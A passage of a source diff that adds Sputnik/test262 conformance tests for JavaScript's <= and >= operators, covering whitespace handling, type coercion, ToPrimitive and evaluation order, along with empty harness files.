+//CHECK#5
+if ((0 <= 0.1) !== true) {
+ $ERROR('#5: (0 <= 0.1) === true');
+}
+
+//CHECK#6
+if ((-0.1 <= 0) !== true) {
+ $ERROR('#6: (-0.1 <= 0) === true');
+}
+
+//CHECK#7
+if ((Number.MAX_VALUE/2 <= Number.MAX_VALUE) !== true) {
+ $ERROR('#7: (Number.MAX_VALUE/2 <= Number.MAX_VALUE) === true');
+}
+
+//CHECK#8
+if ((Number.MIN_VALUE <= Number.MIN_VALUE*2) !== true) {
+ $ERROR('#8: (Number.MIN_VALUE <= Number.MIN_VALUE*2) === true');
+}
+
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.3/browser.js b/js/src/tests/test262/ch11/11.8/11.8.3/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.3/browser.js
diff --git a/js/src/tests/test262/ch11/11.8/11.8.3/shell.js b/js/src/tests/test262/ch11/11.8/11.8.3/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.3/shell.js
diff --git a/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A1.js b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A1.js
new file mode 100644
index 000000000..2a165a211
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A1.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White Space and Line Terminator between RelationalExpression and "=>" or "=>" and ShiftExpression are allowed
+ *
+ * @path ch11/11.8/11.8.4/S11.8.4_A1.js
+ * @description Checking by using eval
+ */
+
+//CHECK#1
+if (eval("1\u0009>=\u00091") !== true) {
+ $ERROR('#1: (1\\u0009>=\\u00091) === true');
+}
+
+//CHECK#2
+if (eval("1\u000B>=\u000B1") !== true) {
+ $ERROR('#2: (1\\u000B>=\\u000B1) === true');
+}
+
+//CHECK#3
+if (eval("1\u000C>=\u000C1") !== true) {
+ $ERROR('#3: (1\\u000C>=\\u000C1) === true');
+}
+
+//CHECK#4
+if (eval("1\u0020>=\u00201") !== true) {
+ $ERROR('#4: (1\\u0020>=\\u00201) === true');
+}
+
+//CHECK#5
+if (eval("1\u00A0>=\u00A01") !== true) {
+ $ERROR('#5: (1\\u00A0>=\\u00A01) === true');
+}
+
+//CHECK#6
+if (eval("1\u000A>=\u000A1") !== true) {
+ $ERROR('#6: (1\\u000A>=\\u000A1) === true');
+}
+
+//CHECK#7
+if (eval("1\u000D>=\u000D1") !== true) {
+ $ERROR('#7: (1\\u000D>=\\u000D1) === true');
+}
+
+//CHECK#8
+if (eval("1\u2028>=\u20281") !== true) {
+ $ERROR('#8: (1\\u2028>=\\u20281) === true');
+}
+
+//CHECK#9
+if (eval("1\u2029>=\u20291") !== true) {
+ $ERROR('#9: (1\\u2029>=\\u20291) === true');
+}
+
+//CHECK#10
+if (eval("1\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029>=\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u20291") !== true) {
+ $ERROR('#10: (1\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029>=\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u20291) === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A2.1_T1.js b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A2.1_T1.js
new file mode 100644
index 000000000..8f3adb309
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A2.1_T1.js
@@ -0,0 +1,43 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x >= y uses GetValue
+ *
+ * @path ch11/11.8/11.8.4/S11.8.4_A2.1_T1.js
+ * @description Either Type is not Reference or GetBase is not null
+ */
+
+//CHECK#1
+if (1 >= 1 !== true) {
+ $ERROR('#1: 1 >= 1 === true');
+}
+
+//CHECK#2
+var x = 1;
+if (x >= 1 !== true) {
+ $ERROR('#2: var x = 1; x >= 1 === true');
+}
+
+//CHECK#3
+var y = 1;
+if (1 >= y !== true) {
+ $ERROR('#3: var y = 1; 1 >= y === true');
+}
+
+//CHECK#4
+var x = 1;
+var y = 1;
+if (x >= y !== true) {
+ $ERROR('#4: var x = 1; var y = 1; x >= y === true');
+}
+
+//CHECK#5
+var objectx = new Object();
+var objecty = new Object();
+objectx.prop = 1;
+objecty.prop = 1;
+if (objectx.prop >= objecty.prop !== true) {
+ $ERROR('#5: var objectx = new Object(); var objecty = new Object(); objectx.prop = 1; objecty.prop = 1; objectx.prop >= objecty.prop === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A2.1_T2.js b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A2.1_T2.js
new file mode 100644
index 000000000..8a57a24e3
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A2.1_T2.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x >= y uses GetValue
+ *
+ * @path ch11/11.8/11.8.4/S11.8.4_A2.1_T2.js
+ * @description If GetBase(x) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ x >= 1;
+ $ERROR('#1.1: x >= 1 throw ReferenceError. Actual: ' + (x >= 1));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x >= 1 throw ReferenceError. Actual: ' + (e));
+ }
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A2.1_T3.js b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A2.1_T3.js
new file mode 100644
index 000000000..23c2ea604
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A2.1_T3.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x >= y uses GetValue
+ *
+ * @path ch11/11.8/11.8.4/S11.8.4_A2.1_T3.js
+ * @description If GetBase(y) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ 1 >= y;
+ $ERROR('#1.1: 1 >= y throw ReferenceError. Actual: ' + (1 >= y));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: 1 >= y throw ReferenceError. Actual: ' + (e));
+ }
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A2.2_T1.js b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A2.2_T1.js
new file mode 100644
index 000000000..f129ea315
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A2.2_T1.js
@@ -0,0 +1,71 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x >= y uses [[Default Value]]
+ *
+ * @path ch11/11.8/11.8.4/S11.8.4_A2.2_T1.js
+ * @description If Type(value) is Object, evaluate ToPrimitive(value, Number)
+ */
+
+//CHECK#1
+if ({valueOf: function() {return 2}} >= 1 !== true) {
+ $ERROR('#1: {valueOf: function() {return 1}} >= 1 === true. Actual: ' + ({valueOf: function() {return 1}} >= 1));
+}
+
+//CHECK#2
+if ({valueOf: function() {return 2}, toString: function() {return 0}} >= 1 !== true) {
+ $ERROR('#2: {valueOf: function() {return 1}, toString: function() {return 2}} >= 1 === true. Actual: ' + ({valueOf: function() {return 1}, toString: function() {return 2}} >= 1));
+}
+
+//CHECK#3
+if ({valueOf: function() {return 2}, toString: function() {return {}}} >= 1 !== true) {
+ $ERROR('#3: {valueOf: function() {return 1}, toString: function() {return {}}} >= 1 === true. Actual: ' + ({valueOf: function() {return 1}, toString: function() {return {}}} >= 1));
+}
+
+//CHECK#4
+try {
+ if ({valueOf: function() {return 2}, toString: function() {throw "error"}} >= 1 !== true) {
+ $ERROR('#4.1: {valueOf: function() {return 1}, toString: function() {throw "error"}} >= 1 === true. Actual: ' + ({valueOf: function() {return 1}, toString: function() {throw "error"}} >= 1));
+ }
+}
+catch (e) {
+ if (e === "error") {
+ $ERROR('#4.2: {valueOf: function() {return 2}, toString: function() {throw "error"}} >= 1 not throw "error"');
+ } else {
+ $ERROR('#4.3: {valueOf: function() {return 2}, toString: function() {throw "error"}} >= 1 not throw Error. Actual: ' + (e));
+ }
+}
+
+//CHECK#5
+if (1 >= {toString: function() {return 0}} !== true) {
+ $ERROR('#5: 1 >= {toString: function() {return 0}} === true. Actual: ' + (1 >= {toString: function() {return 0}}));
+}
+
+//CHECK#6
+if (1 >= {valueOf: function() {return {}}, toString: function() {return 0}} !== true) {
+ $ERROR('#6: 1 >= {valueOf: function() {return {}}, toString: function() {return 0}} === true. Actual: ' + (1 >= {valueOf: function() {return {}}, toString: function() {return 0}}));
+}
+
+//CHECK#7
+try {
+ 1 >= {valueOf: function() {throw "error"}, toString: function() {return 0}};
+ $ERROR('#7.1: 1 >= {valueOf: function() {throw "error"}, toString: function() {return 0}} throw "error". Actual: ' + (1 >= {valueOf: function() {throw "error"}, toString: function() {return 0}}));
+}
+catch (e) {
+ if (e !== "error") {
+ $ERROR('#7.2: 1 >= {valueOf: function() {throw "error"}, toString: function() {return 0}} throw "error". Actual: ' + (e));
+ }
+}
+
+//CHECK#8
+try {
+ 1 >= {valueOf: function() {return {}}, toString: function() {return {}}};
+ $ERROR('#8.1: 1 >= {valueOf: function() {return {}}, toString: function() {return {}}} throw TypeError. Actual: ' + (1 >= {valueOf: function() {return {}}, toString: function() {return {}}}));
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#8.2: 1 >= {valueOf: function() {return {}}, toString: function() {return {}}} throw TypeError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A2.3_T1.js b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A2.3_T1.js
new file mode 100644
index 000000000..dd286dd03
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A2.3_T1.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * ToNumber(first expression) is called first, and then ToNumber(second expression)
+ *
+ * @path ch11/11.8/11.8.4/S11.8.4_A2.3_T1.js
+ * @description Checking with "throw"
+ */
+
+//CHECK#1
+var x = { valueOf: function () { throw "x"; } };
+var y = { valueOf: function () { throw "y"; } };
+try {
+ x >= y;
+ $ERROR('#1.1: var x = { valueOf: function () { throw "x"; } }; var y = { valueOf: function () { throw "y"; } }; x >= y throw "x". Actual: ' + (x >= y));
+} catch (e) {
+ if (e === "y") {
+ $ERROR('#1.2: ToNumber(first expression) is called first, and then ToNumber(second expression)');
+ } else {
+ if (e !== "x") {
+ $ERROR('#1.3: var x = { valueOf: function () { throw "x"; } }; var y = { valueOf: function () { throw "y"; } }; x >= y throw "x". Actual: ' + (e));
+ }
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A2.4_T1.js b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A2.4_T1.js
new file mode 100644
index 000000000..8e3f2b0c7
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A2.4_T1.js
@@ -0,0 +1,23 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.8/11.8.4/S11.8.4_A2.4_T1.js
+ * @description Checking with "="
+ */
+
+//CHECK#1
+var x = 1;
+if ((x = 0) >= x !== true) {
+ $ERROR('#1: var x = 1; (x = 0) >= x === true');
+}
+
+//CHECK#2
+var x = 0;
+if (x >= (x = 1) !== false) {
+ $ERROR('#2: var x = 0; x >= (x = 1) === false');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A2.4_T2.js b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A2.4_T2.js
new file mode 100644
index 000000000..f7c0446dd
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A2.4_T2.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.8/11.8.4/S11.8.4_A2.4_T2.js
+ * @description Checking with "throw"
+ */
+
+//CHECK#1
+var x = function () { throw "x"; };
+var y = function () { throw "y"; };
+try {
+ x() >= y();
+ $ERROR('#1.1: var x = function () { throw "x"; }; var y = function () { throw "y"; }; x() >= y() throw "x". Actual: ' + (x() >= y()));
+} catch (e) {
+ if (e === "y") {
+ $ERROR('#1.2: First expression is evaluated first, and then second expression');
+ } else {
+ if (e !== "x") {
+ $ERROR('#1.3: var x = function () { throw "x"; }; var y = function () { throw "y"; }; x() >= y() throw "x". Actual: ' + (e));
+ }
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A2.4_T3.js b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A2.4_T3.js
new file mode 100644
index 000000000..54efe21ac
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A2.4_T3.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.8/11.8.4/S11.8.4_A2.4_T3.js
+ * @description Checking with undeclarated variables
+ */
+
+//CHECK#1
+try {
+ x >= (x = 1);
+ $ERROR('#1.1: x >= (x = 1) throw ReferenceError. Actual: ' + (x >= (x = 1)));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x >= (x = 1) throw ReferenceError. Actual: ' + (e));
+ }
+}
+
+//CHECK#2
+if ((y = 1) >= y !== true) {
+ $ERROR('#2: (y = 1) >= y === true');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A3.1_T1.1.js b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A3.1_T1.1.js
new file mode 100644
index 000000000..d92463091
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A3.1_T1.1.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(Primitive(x)) is not String or Type(Primitive(y)) is not String, then operator x >= y returns ToNumber(x) >= ToNumber(y)
+ *
+ * @path ch11/11.8/11.8.4/S11.8.4_A3.1_T1.1.js
+ * @description Type(Primitive(x)) and Type(Primitive(y)) vary between primitive boolean and Boolean object
+ */
+
+//CHECK#1
+if (true >= true !== true) {
+ $ERROR('#1: true >= true === true');
+}
+
+//CHECK#2
+if (new Boolean(true) >= true !== true) {
+ $ERROR('#2: new Boolean(true) >= true === true');
+}
+
+//CHECK#3
+if (true >= new Boolean(true) !== true) {
+ $ERROR('#3: true >= new Boolean(true) === true');
+}
+
+//CHECK#4
+if (new Boolean(true) >= new Boolean(true) !== true) {
+ $ERROR('#4: new Boolean(true) >= new Boolean(true) === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A3.1_T1.2.js b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A3.1_T1.2.js
new file mode 100644
index 000000000..255124d7d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A3.1_T1.2.js
@@ -0,0 +1,31 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(Primitive(x)) is not String or Type(Primitive(y)) is not String, then operator x >= y returns ToNumber(x) >= ToNumber(y)
+ *
+ * @path ch11/11.8/11.8.4/S11.8.4_A3.1_T1.2.js
+ * @description Type(Primitive(x)) and Type(Primitive(y)) vary between primitive number and Number object
+ */
+
+//CHECK#1
+if (1 >= 1 !== true) {
+ $ERROR('#1: 1 >= 1 === true');
+}
+
+//CHECK#2
+if (new Number(1) >= 1 !== true) {
+ $ERROR('#2: new Number(1) >= 1 === true');
+}
+
+//CHECK#3
+if (1 >= new Number(1) !== true) {
+ $ERROR('#3: 1 >= new Number(1) === true');
+}
+
+//CHECK#4
+if (new Number(1) >= new Number(1) !== true) {
+ $ERROR('#4: new Number(1) >= new Number(1) === true');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A3.1_T1.3.js b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A3.1_T1.3.js
new file mode 100644
index 000000000..ffe39372e
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A3.1_T1.3.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(Primitive(x)) is not String or Type(Primitive(y)) is not String, then operator x >= y returns ToNumber(x) >= ToNumber(y)
+ *
+ * @path ch11/11.8/11.8.4/S11.8.4_A3.1_T1.3.js
+ * @description Type(Primitive(x)) and Type(Primitive(y)) vary between Null and Undefined
+ */
+
+//CHECK#1
+if (null >= undefined !== false) {
+ $ERROR('#1: null >= undefined === false');
+}
+
+//CHECK#2
+if (undefined >= null !== false) {
+ $ERROR('#2: undefined >= null === false');
+}
+
+//CHECK#3
+if (undefined >= undefined !== false) {
+ $ERROR('#3: undefined >= undefined === false');
+}
+
+//CHECK#4
+if (null >= null !== true) {
+ $ERROR('#4: null >= null === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A3.1_T2.1.js b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A3.1_T2.1.js
new file mode 100644
index 000000000..c1f367aae
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A3.1_T2.1.js
@@ -0,0 +1,50 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(Primitive(x)) is not String or Type(Primitive(y)) is not String, then operator x >= y returns ToNumber(x) >= ToNumber(y)
+ *
+ * @path ch11/11.8/11.8.4/S11.8.4_A3.1_T2.1.js
+ * @description Type(Primitive(x)) is different from Type(Primitive(y)) and both types vary between Number (primitive or object) and Boolean (primitive and object)
+ */
+
+//CHECK#1
+if (true >= 1 !== true) {
+ $ERROR('#1: true >= 1 === true');
+}
+
+//CHECK#2
+if (1 >= true !== true) {
+ $ERROR('#2: 1 >= true === true');
+}
+
+//CHECK#3
+if (new Boolean(true) >= 1 !== true) {
+ $ERROR('#3: new Boolean(true) >= 1 === true');
+}
+
+//CHECK#4
+if (1 >= new Boolean(true) !== true) {
+ $ERROR('#4: 1 >= new Boolean(true) === true');
+}
+
+//CHECK#5
+if (true >= new Number(1) !== true) {
+ $ERROR('#5: true >= new Number(1) === true');
+}
+
+//CHECK#6
+if (new Number(1) >= true !== true) {
+ $ERROR('#6: new Number(1) >= true === true');
+}
+
+//CHECK#7
+if (new Boolean(true) >= new Number(1) !== true) {
+ $ERROR('#7: new Boolean(true) >= new Number(1) === true');
+}
+
+//CHECK#8
+if (new Number(1) >= new Boolean(true) !== true) {
+ $ERROR('#8: new Number(1) >= new Boolean(true) === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A3.1_T2.2.js b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A3.1_T2.2.js
new file mode 100644
index 000000000..3e4bca79b
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A3.1_T2.2.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(Primitive(x)) is not String or Type(Primitive(y)) is not String, then operator x >= y returns ToNumber(x) >= ToNumber(y)
+ *
+ * @path ch11/11.8/11.8.4/S11.8.4_A3.1_T2.2.js
+ * @description Type(Primitive(x)) is different from Type(Primitive(y)) and both types vary between Number (primitive or object) and String (primitive and object)
+ */
+
+//CHECK#1
+if ("1" >= 1 !== true) {
+ $ERROR('#1: "1" >= 1 === true');
+}
+
+//CHECK#2
+if (1 >= "1" !== true) {
+ $ERROR('#2: 1 >= "1" === true');
+}
+
+//CHECK#3
+if (new String("1") >= 1 !== true) {
+ $ERROR('#3: new String("1") >= 1 === true');
+}
+
+//CHECK#4
+if (1 >= new String("1") !== true) {
+ $ERROR('#4: 1 >= new String("1") === true');
+}
+
+//CHECK#5
+if ("1" >= new Number(1) !== true) {
+ $ERROR('#5: "1" >= new Number(1) === true');
+}
+
+//CHECK#6
+if (new Number(1) >= "1" !== true) {
+ $ERROR('#6: new Number(1) >= "1" === true');
+}
+
+//CHECK#7
+if (new String("1") >= new Number(1) !== true) {
+ $ERROR('#7: new String("1") >= new Number(1) === true');
+}
+
+//CHECK#8
+if (new Number(1) >= new String("1") !== true) {
+ $ERROR('#8: new Number(1) >= new String("1") === true');
+}
+
+//CHECK#9
+if ("x" >= 1 !== false) {
+ $ERROR('#9: "x" >= 1 === false');
+}
+
+//CHECK#10
+if (1 >= "x" !== false) {
+ $ERROR('#10: 1 >= "x" === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A3.1_T2.3.js b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A3.1_T2.3.js
new file mode 100644
index 000000000..4d0c6b6a9
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A3.1_T2.3.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(Primitive(x)) is not String or Type(Primitive(y)) is not String, then operator x >= y returns ToNumber(x) >= ToNumber(y)
+ *
+ * @path ch11/11.8/11.8.4/S11.8.4_A3.1_T2.3.js
+ * @description Type(Primitive(x)) is different from Type(Primitive(y)) and both types vary between Number (primitive or object) and Null
+ */
+
+//CHECK#1
+if (1 >= null !== true) {
+ $ERROR('#1: 1 >= null === true');
+}
+
+//CHECK#2
+if (null >= 1 !== false) {
+ $ERROR('#2: null >= 1 === false');
+}
+
+//CHECK#3
+if (new Number(1) >= null !== true) {
+ $ERROR('#3: new Number(1) >= null === true');
+}
+
+//CHECK#4
+if (null >= new Number(1) !== false) {
+ $ERROR('#4: null >= new Number(1) === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A3.1_T2.4.js b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A3.1_T2.4.js
new file mode 100644
index 000000000..f94a78e5a
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A3.1_T2.4.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(Primitive(x)) is not String or Type(Primitive(y)) is not String, then operator x >= y returns ToNumber(x) >= ToNumber(y)
+ *
+ * @path ch11/11.8/11.8.4/S11.8.4_A3.1_T2.4.js
+ * @description Type(Primitive(x)) is different from Type(Primitive(y)) and both types vary between Number (primitive or object) and Undefined
+ */
+
+//CHECK#1
+if (1 >= undefined !== false) {
+ $ERROR('#1: 1 >= undefined === false');
+}
+
+//CHECK#2
+if (undefined >= 1 !== false) {
+ $ERROR('#2: undefined >= 1 === false');
+}
+
+//CHECK#3
+if (new Number(1) >= undefined !== false) {
+ $ERROR('#3: new Number(1) >= undefined === false');
+}
+
+//CHECK#4
+if (undefined >= new Number(1) !== false) {
+ $ERROR('#4: undefined >= new Number(1) === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A3.1_T2.5.js b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A3.1_T2.5.js
new file mode 100644
index 000000000..5f949872e
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A3.1_T2.5.js
@@ -0,0 +1,50 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(Primitive(x)) is not String or Type(Primitive(y)) is not String, then operator x >= y returns ToNumber(x) >= ToNumber(y)
+ *
+ * @path ch11/11.8/11.8.4/S11.8.4_A3.1_T2.5.js
+ * @description Type(Primitive(x)) is different from Type(Primitive(y)) and both types vary between String (primitive or object) and Boolean (primitive and object)
+ */
+
+//CHECK#1
+if (true >= "1" !== true) {
+ $ERROR('#1: true >= "1" === true');
+}
+
+//CHECK#2
+if ("1" >= true !== true) {
+ $ERROR('#2: "1" >= true === true');
+}
+
+//CHECK#3
+if (new Boolean(true) >= "1" !== true) {
+ $ERROR('#3: new Boolean(true) >= "1" === true');
+}
+
+//CHECK#4
+if ("1" >= new Boolean(true) !== true) {
+ $ERROR('#4: "1" >= new Boolean(true) === true');
+}
+
+//CHECK#5
+if (true >= new String("1") !== true) {
+ $ERROR('#5: true >= new String("1") === true');
+}
+
+//CHECK#6
+if (new String("1") >= true !== true) {
+ $ERROR('#6: new String("1") >= true === true');
+}
+
+//CHECK#7
+if (new Boolean(true) >= new String("1") !== true) {
+ $ERROR('#7: new Boolean(true) >= new String("1") === true');
+}
+
+//CHECK#8
+if (new String("1") >= new Boolean(true) !== true) {
+ $ERROR('#8: new String("1") >= new Boolean(true) === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A3.1_T2.6.js b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A3.1_T2.6.js
new file mode 100644
index 000000000..ff2ab1820
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A3.1_T2.6.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(Primitive(x)) is not String or Type(Primitive(y)) is not String, then operator x >= y returns ToNumber(x) >= ToNumber(y)
+ *
+ * @path ch11/11.8/11.8.4/S11.8.4_A3.1_T2.6.js
+ * @description Type(Primitive(x)) is different from Type(Primitive(y)) and both types vary between String (primitive or object) and Undefined
+ */
+
+//CHECK#1
+if ("1" >= undefined !== false) {
+ $ERROR('#1: "1" >= undefined === false');
+}
+
+//CHECK#2
+if (undefined >= "1" !== false) {
+ $ERROR('#2: undefined >= "1" === false');
+}
+
+//CHECK#3
+if (new String("1") >= undefined !== false) {
+ $ERROR('#3: new String("1") >= undefined === false');
+}
+
+//CHECK#4
+if (undefined >= new String("1") !== false) {
+ $ERROR('#4: undefined >= new String("1") === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A3.1_T2.7.js b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A3.1_T2.7.js
new file mode 100644
index 000000000..10745f98a
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A3.1_T2.7.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(Primitive(x)) is not String or Type(Primitive(y)) is not String, then operator x >= y returns ToNumber(x) >= ToNumber(y)
+ *
+ * @path ch11/11.8/11.8.4/S11.8.4_A3.1_T2.7.js
+ * @description Type(Primitive(x)) is different from Type(Primitive(y)) and both types vary between String (primitive or object) and Null
+ */
+
+//CHECK#1
+if ("1" >= null !== true) {
+ $ERROR('#1: "1" >= null === true');
+}
+
+//CHECK#2
+if (null >= "1" !== false) {
+ $ERROR('#2: null >= "1" === false');
+}
+
+//CHECK#3
+if (new String("1") >= null !== true) {
+ $ERROR('#3: new String("1") >= null === true');
+}
+
+//CHECK#4
+if (null >= new String("1") !== false) {
+ $ERROR('#4: null >= new String("1") === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A3.1_T2.8.js b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A3.1_T2.8.js
new file mode 100644
index 000000000..c45874ca8
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A3.1_T2.8.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(Primitive(x)) is not String or Type(Primitive(y)) is not String, then operator x >= y returns ToNumber(x) >= ToNumber(y)
+ *
+ * @path ch11/11.8/11.8.4/S11.8.4_A3.1_T2.8.js
+ * @description Type(Primitive(x)) is different from Type(Primitive(y)) and both types vary between Boolean (primitive or object) and Undefined
+ */
+
+//CHECK#1
+if (true >= undefined !== false) {
+ $ERROR('#1: true >= undefined === false');
+}
+
+//CHECK#2
+if (undefined >= true !== false) {
+ $ERROR('#2: undefined >= true === false');
+}
+
+//CHECK#3
+if (new Boolean(true) >= undefined !== false) {
+ $ERROR('#3: new Boolean(true) >= undefined === false');
+}
+
